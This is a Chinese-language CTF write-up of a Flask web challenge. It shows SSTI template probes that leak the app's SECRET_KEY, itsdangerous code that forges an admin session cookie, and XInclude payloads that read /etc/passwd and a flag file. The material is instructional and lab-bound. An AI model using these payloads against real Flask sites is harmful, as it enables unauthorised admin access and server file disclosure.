前言
今天打完了鵬城杯,還是一臉懵逼,主辦方瘋狂放提示,選手瘋狂懵逼。。。
我在一堆腦洞題之間還是看到了一道比較有意思的web題目,雖然最後也沒出flag,但還是挺有感悟的。
題目描述
給你一個flask搭建的網站,除了登錄註冊之外也沒發現什麼功能, 註釋裏看到有/upload
路徑,但訪問提示需要admin權限。又四處遊蕩發現幾個js不存在,回顯是:
看到這裏,應該是有404頁面的SSTI漏洞了,但是試了幾次發現無法直接命令執行,只好尋求來讀一些內置變量,config
和self
都被禁了,讀了這位大佬的文章。可知,可以通過{{ request.environ }} {{ request.cookies }} {{ url_for.__globals__ }} {{ get_flashed_messages.__globals__ }}
讀到一些變量,其中{{ url_for.__globals__['current_app'].config }}
可以讀到SECRET_KEY
這樣我們就可以來僞造flask的cookie,獲得admin權限了。通過訪問{{ request.cookies}}
拿到cookie
拆開看看裏面有啥
from itsdangerous import *
s=URLSafeTimedSerializer("as/*d21as-+dhasod5a4s54:><*()dfdsf", salt="cookie-session",signer_kwargs={"key_derivation":"hmac","digest_method":"sha1"})
data = s.loads(".eJw9kMFqg0AQhl-l7DkHXdNLIAfLWjGwI8oamb2INabu6qagkTQb8u4dcuhhYGDm-4b5H6w5z_0ysN25nZZ-wxpzYrsHe_tiOwa8uqHPPPqRqrgh1xZsctOqo07e0RaRdhjlabXN68yDxUCKg9G2irQaJu3KSdZILO2rOJQeRiQO0iLE-jiiS361jQPpjg55cUdOM5eF2sGQK-m1-L6jAqcFeilKA-Iw0H2PPOE6xQgUjFrJAES1Z88N65b53Fx_xv7y_wKhIaRVBOLToC1HwsNcfEySVxxIq9PSguhCmSYB1EkgbbaV8f6lM0vTnpwh2XVeKZpL63pSDmu7mJlt2Lr08ysu9s6ef3KlazU.XAOwLQ.q-Gin27oj8k69vvulgiayMpFKJs")
print (data)
可以看到這裏is_admin
是False
,改成True
再打包起來就行了
result = s.dumps({'_fresh': True, '_id': {' b': 'ZTM3ODI5NTdjYTIxN2I0YzU5ZjgzNjBmZjgwMDE5YzM3ODI0MzZhOTkwNzdmOWIyOTAzMWU5YzkxZDNmYmM5MGQyM2M4N2FkZDQ2NThlZmUyNzA5ZTUwMGVmZDI2NDE5ODZlM2NjNWQ0NmY5NmRlNTQwYjg2MmY0ZTgwYjBiNTI='}, 'csrf_token': {' b': 'NWFkNmQ2OTgwZmU5ZGMyNWYxMTdiNzBhZDBiMTIxNjcxYjllZWM1Yw=='}, 'is_admin': True, 'name': 'huasir', 'user_id': '5'})
print (result)
拿着這個去訪問upload,然後可以上傳文件。當然python直接上傳貌似不能拿shell,試了幾次發現上傳XML文件有回顯,但是上傳常見的XXE payload會顯示錯誤。
參考這篇文章可以看到用XInclude可以避開使用ENTITY
關鍵字:
<?xml version="1.0"?>
<data xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd" parse="text">
</xi:include>
</data>
回顯/etc/passwd
內容
看到有個rq用戶也有bash
,讀取其用戶目錄下的.bash_history
可以看到flag文件的名字,遂構造payload:
<?xml version="1.0"?>
<data xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///home/rq/f123333333ag" parse="text">
</xi:include>
</data>
flag:
問題
一開始我失敗的原因是我想用flask服務來得到cookie:
from flask import Flask, session, escape, request
app = Flask(__name__)
app.secret_key = 'as/*d21as-+dhasod5a4s54:><*()dfdsf'
@app.route("/")
def index():
if 'name' in session:
return 'hello, {}\ncookie: {}'.format(escape(session['name']),request.cookies)
return 'hello, stranger\n'
@app.route("/login")
def login():
session['csrf_token'] = 'IjQ1ZTgwOGU3YWY5YmZjOGUwM2U1MDQ1OTUxODI0MmRhNDQyYTM0OTci.XANzdg.ljY0IMuCAb2ovypjBa5OvzegdDs'
session['_id'] = 'bc00ab0feca90420847a2fc0ea2d0491ee7177c453d037a041383b6f4b434304eae5fa0a220dc0111abd963bbcca5c466b6303b0afacabf8544523cdbc83e7c4'
session['user_id'] = '1'
session['name'] = 'admin'
session['is_admin'] = True
session['_fresh'] = True
return "Login success"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=True)
但是這樣的cookie能進入/upload頁面,但是一傳文件就又反饋only admin can use it
,結束後我又試了兩次,又行了?_?..蜜汁,這樣應該是沒有影響的。
可能是因爲我把flask服務改到一個頁面裏了??/px
@app.route("/")
def index():
session['csrf_token'] = 'IjQ1ZTgwOGU3YWY5YmZjOGUwM2U1MDQ1OTUxODI0MmRhNDQyYTM0OTci.XANzdg.ljY0IMuCAb2ovypjBa5OvzegdDs'
session['_id'] = 'bc00ab0feca90420847a2fc0ea2d0491ee7177c453d037a041383b6f4b434304eae5fa0a220dc0111abd963bbcca5c466b6303b0afacabf8544523cdbc83e7c4'
session['user_id'] = '5'
session['name'] = 'huasir'
session['is_admin'] = True
session['_fresh'] = True
if 'name' in session:
return 'hello, {}\ncookie: {}'.format(escape(session['name']),request.cookies)
return 'hello, stranger\n'
python2和python3起服務雖然結果不同,但都能用。